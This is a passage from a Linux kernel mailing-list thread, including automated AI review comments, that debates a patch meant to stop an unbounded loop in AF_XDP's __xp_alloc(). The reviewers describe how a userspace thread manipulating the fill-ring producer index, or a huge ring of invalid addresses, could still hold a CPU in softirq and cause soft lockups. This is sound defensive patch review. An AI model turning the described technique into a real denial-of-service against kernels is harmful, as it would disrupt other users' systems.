advances q->ring->consumer by k and reloads q->ring->producer, where the
remaining distance is now q->nentries <= q->nentries, causing __xp_alloc() to
consume an additional q->nentries descriptors.

Should __xp_alloc() also bound the number of iterations or avoid re-fetching
new batches via xskq_cons_get_entries() once the initial batch of descriptors
has been exhausted?

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1792654486.git.zhilinz@nebusec.ai?part=1

Re: [PATCH net 1/1] xsk: validate consumer ring producer index

[Björn Töpel]

sashiko-bot@kernel.org writes:

> Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
> - [High] xsk: unbounded re-peek loop in __xp_alloc() despite __xskq_cons_peek() check
> --
>
> commit b1eb51f9c983fb773e7eaf99ed508d1895d9b804
> Author: Zhiling Zou <zhilinz@nebusec.ai>
>
> xsk: validate consumer ring producer index
>
> This commit adds a bounds check in __xskq_cons_peek() to clamp q->cached_prod
> to q->cached_cons when the producer-consumer distance exceeds q->nentries,
> aiming to bound the consumer loop in __xp_alloc() to the ring size.
>
> Link: https://bugtracker.nebusec.ai/f/13760
>
>> diff --git a/net/xdp/xsk_queue.h b/net/xdp/xsk_queue.h
>> index 1bc42c8902f4b..315b656534749 100644
>> --- a/net/xdp/xsk_queue.h
>> +++ b/net/xdp/xsk_queue.h
>> @@ -344,6 +344,9 @@ static inline void __xskq_cons_peek(struct xsk_queue *q)
>>  {
>>  	/* Refresh the local pointer */
>>  	q->cached_prod = smp_load_acquire(&q->ring->producer);  /* C, matches B */
>> +	/* A malformed producer must not make us consume beyond the ring. */
>> +	if (q->cached_prod - q->cached_cons > q->nentries)
>> +		q->cached_prod = q->cached_cons;
>>  }
>>  
>>  static inline void xskq_cons_get_entries(struct xsk_queue *q)
>
> [Severity: High]
> Does this check in __xskq_cons_peek() actually bound the loop in __xp_alloc()
> to at most q->nentries descriptors?
>
> In net/xdp/xsk_buff_pool.c:__xp_alloc(), invalid fill descriptors are consumed
> in an unbounded loop that calls xskq_cons_peek_addr_unchecked() on every
> iteration:
>
> net/xdp/xsk_buff_pool.c:__xp_alloc() {
> 	for (;;) {
> 		if (!xskq_cons_peek_addr_unchecked(pool->fq, &addr)) {
> 			pool->fq->queue_empty_descs++;
> 			return NULL;
> 		}
>
> 		ok = pool->unaligned ? xp_check_unaligned(pool, &addr) :
> 		     xp_check_aligned(pool, &addr);
> 		if (!ok) {
> 			pool->fq->invalid_descs++;
> 			xskq_cons_release(pool->fq);
> 			continue;
> 		}
> 		break;
> 	}
> }
>
> Whenever pool->fq->cached_cons catches up to pool->fq->cached_prod after
> consuming a batch of invalid descriptors, the next iteration of the loop does
> not terminate. Instead, xskq_cons_peek_addr_unchecked() in
> net/xdp/xsk_queue.h calls xskq_cons_get_entries():
>
> net/xdp/xsk_queue.h:xskq_cons_peek_addr_unchecked() {
> 	if (q->cached_prod == q->cached_cons)
> 		xskq_cons_get_entries(q);
> 	return xskq_cons_read_addr_unchecked(q, addr);
> }
>
> xskq_cons_get_entries() then calls __xskq_cons_release() to publish the newly
> advanced q->cached_cons to the user-mapped q->ring->consumer, followed by
> __xskq_cons_peek() to reload q->cached_prod from q->ring->producer and
> validate it against the updated q->cached_cons.
>
> Because __xskq_cons_peek() re-evaluates q->cached_prod - q->cached_cons >
> q->nentries relative to the newly advanced q->cached_cons on each reload, two
> cases can still exceed q->nentries in a single __xp_alloc() call:
>
> 1. On a one-entry ring (q->nentries == 1) containing an invalid descriptor
> address, a concurrent userspace thread updating q->ring->producer in the
> mmap'd fill ring as q->ring->consumer advances (for example keeping
> q->ring->producer equal to q->ring->consumer + 1) satisfies
> q->cached_prod - q->cached_cons <= q->nentries on every re-peek in
> xskq_cons_get_entries(), keeping the kernel in the __xp_alloc() loop
> indefinitely in receive context.
>
> 2. Even without concurrent updates during __xp_alloc(), if k > 0 entries are
> already cached on entry to __xp_alloc() (q->cached_prod - q->cached_cons == k)
> and userspace has written q->ring->producer = q->ring->consumer + k +
> q->nentries, __xp_alloc() first consumes the k cached invalid descriptors
> until q->cached_cons reaches q->cached_prod. Then xskq_cons_get_entries()
> advances q->ring->consumer by k and reloads q->ring->producer, where the
> remaining distance is now q->nentries <= q->nentries, causing __xp_alloc() to
> consume an additional q->nentries descriptors.
>
> Should __xp_alloc() also bound the number of iterations or avoid re-fetching
> new batches via xskq_cons_get_entries() once the initial batch of descriptors
> has been exhausted?

Sashiko has a point IMO (let's wait for the netdev-bot tho).

The simplest fix I can see, is changing "continue" in:

  |             if (!ok) {
  |                     pool->fq->invalid_descs++;
  |                     xskq_cons_release(pool->fq);
  |                     continue;
  |             }

to: "return NULL".


Björn

Re: [PATCH net 1/1] xsk: validate consumer ring producer index

[Maciej Fijalkowski]

On Thu, Oct 22, 2026 at 03:58:18PM +0800, Zhiling Zou wrote:
> __xskq_cons_peek() trusts the userspace-controlled producer index without
> checking that the producer-consumer distance fits in the ring. In
> __xp_alloc(), an invalid fill descriptor is consumed one at a time until
> the cached producer is reached. A one-entry ring with an invalid address
> and a forged producer index can therefore keep the kernel in this loop
> for billions of iterations in receive context.
> 
> Treat producer values beyond the ring capacity as an empty queue. This
> bounds the consumer to the userspace-provided ring size and prevents the
> long loop.
> 
> Fixes: c5ed924b54c8 ("xsk: Simplify the consumer ring access functions")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Link: https://bugtracker.nebusec.ai/f/13760
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
>  net/xdp/xsk_queue.h | 3 +++
>  1 file changed, 3 insertions(+)
> 
> diff --git a/net/xdp/xsk_queue.h b/net/xdp/xsk_queue.h
> index 1bc42c8902f4b..315b656534749 100644
> --- a/net/xdp/xsk_queue.h
> +++ b/net/xdp/xsk_queue.h
> @@ -344,6 +344,9 @@ static inline void __xskq_cons_peek(struct xsk_queue *q)
>  {
>  	/* Refresh the local pointer */
>  	q->cached_prod = smp_load_acquire(&q->ring->producer);  /* C, matches B */
> +	/* A malformed producer must not make us consume beyond the ring. */
> +	if (q->cached_prod - q->cached_cons > q->nentries)
> +		q->cached_prod = q->cached_cons;
>  }
>  
>  static inline void xskq_cons_get_entries(struct xsk_queue *q)

Clashiko says the proposed fix is not sufficient, see [0].

I am leaning towards Bjorn's suggestion to return NULL for invalid desc, which
would imply that the endless loop is pointless and could be removed from
__xp_alloc().

Thanks,
MF

[0]:
--- Patch [1]: [PATCH net 1/1] xsk: validate consumer ring producer index ---
commit f0f4eea504a1aeac9437d0c1f025a159991b7029
Author: Zhiling Zou <zhilinz@nebusec.ai>

xsk: validate consumer ring producer index

This commit adds a check to __xskq_cons_peek(). If the producer index is
more than nentries ahead of the cached consumer, the queue is treated as
empty. The goal is to stop __xp_alloc() from skipping invalid fill ring
descriptors for billions of iterations in receive context.

Link: https://bugtracker.nebusec.ai/f/13760

> diff --git a/net/xdp/xsk_queue.h b/net/xdp/xsk_queue.h
> index 1bc42c8902f4..315b65653474 100644
> --- a/net/xdp/xsk_queue.h
> +++ b/net/xdp/xsk_queue.h
> @@ -344,6 +344,9 @@ static inline void __xskq_cons_peek(struct xsk_queue *q)
>  {
>  	/* Refresh the local pointer */
>  	q->cached_prod = smp_load_acquire(&q->ring->producer);  /* C, matches B */
> +	/* A malformed producer must not make us consume beyond the ring. */
> +	if (q->cached_prod - q->cached_cons > q->nentries)
> +		q->cached_prod = q->cached_cons;
>  }

Does this fully prevent the long loop described in the commit message? The
commit message says:

  Treat producer values beyond the ring capacity as an empty queue. This
  bounds the consumer to the userspace-provided ring size and prevents the
  long loop.

The new check limits each producer snapshot to nentries. Nothing limits the
total work done in a single __xp_alloc() call, though. When it hits invalid
descriptors, its loop only exits once the queue looks empty:

net/xdp/xsk_buff_pool.c:__xp_alloc() {
    ...
	for (;;) {
		if (!xskq_cons_peek_addr_unchecked(pool->fq, &addr)) {
			pool->fq->queue_empty_descs++;
			return NULL;
		}
		...
		if (!ok) {
			pool->fq->invalid_descs++;
			xskq_cons_release(pool->fq);
			continue;
		}
		break;
	}
    ...
}

When cached_cons catches up with cached_prod, the peek does not end the
scan. It publishes the consumer index and reloads the producer:

net/xdp/xsk_queue.h:xskq_cons_peek_addr_unchecked() {
	if (q->cached_prod == q->cached_cons)
		xskq_cons_get_entries(q);
	...
}

Here xskq_cons_get_entries() calls __xskq_cons_release(), which does a
smp_store_release() on ring->consumer, and then calls __xskq_cons_peek().

The loop is reached through __xsk_rcv()->xsk_buff_alloc()->xp_alloc()->
__xp_alloc(), or from a zero-copy driver's NAPI refill. There still seem to
be two ways to keep a CPU in it.

First, xsk_init_queue() only requires a non-zero power of two:

	if (entries == 0 || *queue || !is_power_of_2(entries))
		return -EINVAL;

So the fill ring can be very large, for example 2^26 u64 entries or more.
If such a ring is full of invalid addresses, one refresh still allows that
many iterations.

Second, a user thread can watch the published ring->consumer and set
producer = consumer + nentries / 2 each time. Each producer value the
kernel reads is then within nentries of cached_cons but never equal to it.
Every snapshot passes the new check, and the loop never sees an empty
queue.

xsk_create() only checks ns_capable(net->user_ns, CAP_NET_RAW). So can an
unprivileged user namespace with its own netns still cause soft lockups or
RCU stalls in softirq context?

Would a per-call budget on skipped invalid entries in __xp_alloc() work
better here? For example, it could return NULL after at most nentries
skips. The batched xp_alloc_new_from_fq() path already limits its work
with xskq_cons_nb_entries(pool->fq, max).

Could the commit message also be updated, so stable backporters don't
assume this change closes the soft lockup?